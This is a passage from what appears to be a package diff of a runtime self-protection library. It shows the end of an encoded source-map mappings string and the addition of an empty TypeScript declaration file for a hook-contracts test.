CAAC,IAAI,CAAC,OAAO,CAAC,CAAC;IAClC,KAAK,MAAM,EAAE,KAAK,EAAE,GAAG,EAAE,UAAU,EAAE,IAAI,KAAK,EAAE,CAAC;QAC/C,MAAM,EAAE,GAAG,OAAO,CAAC,GAAG,CAAC,KAAK,EAAE,GAAG,CAAqC,CAAC;QACvE,MAAM,CAAC,EAAE,CAAC,IAAI,CAAC,CAAC,IAAI,CAAC,UAAU,CAAC,KAAK,CAAC,IAAI,CAAC,CAAC;QAC5C,MAAM,CAAC,EAAE,CAAC,MAAM,CAAC,CAAC,IAAI,CAAC,UAAU,CAAC,KAAK,CAAC,MAAM,CAAC,CAAC;IAClD,CAAC;IACD,IAAA,qBAAgB,GAAE,CAAC;IACnB,IAAA,qBAAgB,GAAE,CAAC;IACnB,KAAK,MAAM,EAAE,KAAK,EAAE,GAAG,EAAE,UAAU,EAAE,IAAI,KAAK,EAAE,CAAC;QAC/C,MAAM,CAAC,MAAM,CAAC,wBAAwB,CAAC,KAAK,EAAE,GAAG,CAAC,CAAC,CAAC,OAAO,CAAC,UAAU,CAAC,CAAC;IAC1E,CAAC;AACH,CAAC,CAAC,CAAC"}

package/dist/rasp/__tests__/hook-contracts.test.d.ts

@@ -0,0 +1 @@
+export {};